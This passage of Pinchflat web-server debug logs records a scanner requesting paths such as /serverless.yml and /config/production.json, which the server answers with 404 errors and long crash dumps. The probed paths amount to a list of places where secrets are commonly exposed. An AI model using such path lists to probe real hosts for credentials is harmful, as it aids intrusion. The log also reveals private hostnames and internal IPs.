+https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9725.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50776}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9726.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/serverless.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBYnUVc1pvPMAAdA (truncated) 15:21:58.627 [info] GET /serverless.yaml 15:21:58.627 [debug] QUERY OK source="settings" db=0.2ms idle=477.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.627 [debug] QUERY OK source="settings" db=0.0ms idle=477.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.627 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:58.627 [error] #PID<0.9728.0> running PinchflatWeb.Endpoint (connection #PID<0.9727.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /serverless.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9728.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/serverless.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBZgLlJX9rc0AAdBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50788}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9728.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/serverless.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBZgLlJX9r (truncated) 15:21:58.866 [info] GET /config/production.json 15:21:58.867 [debug] QUERY OK source="settings" db=0.1ms idle=477.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.867 [debug] QUERY OK source="settings" db=0.0ms idle=478.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:58.867 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:58.867 [error] #PID<0.9730.0> running PinchflatWeb.Endpoint (connection #PID<0.9729.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/production.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9729.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/production.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50804}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9730.0>, params: %{}, path_info: ["config", "production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/production.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBaZU9r75X2UAAdCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9729.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/production.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50804}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9729.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/production.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50804}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9730.0>, params: %{}, path_info: ["config", "production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/production.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-ag (truncated) 15:21:59.119 [info] GET /config/development.json 15:21:59.119 [debug] QUERY OK source="settings" db=0.1ms idle=602.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.119 [debug] QUERY OK source="settings" db=0.0ms idle=492.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.119 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:59.119 [error] #PID<0.9732.0> running PinchflatWeb.Endpoint (connection #PID<0.9731.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/development.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9731.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/development.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9732.0>, params: %{}, path_info: ["config", "development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/development.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBbVhcYWCiq4AAdDC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9731.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/development.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/development (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9731.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/development.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9732.0>, params: %{}, path_info: ["config", "development"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/development.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control (truncated) 15:21:59.359 [info] GET /config/default.json 15:21:59.359 [debug] QUERY OK source="settings" db=0.1ms idle=731.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.359 [debug] QUERY OK source="settings" db=0.0ms idle=492.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:59.359 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:59.360 [error] #PID<0.9734.0> running PinchflatWeb.Endpoint (connection #PID<0.9733.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/default.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/default (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9733.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/default.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50820}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9734.0>, params: %{}, path_info: ["config", "default"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/default.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBcOzfmf1DvgAAdEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: 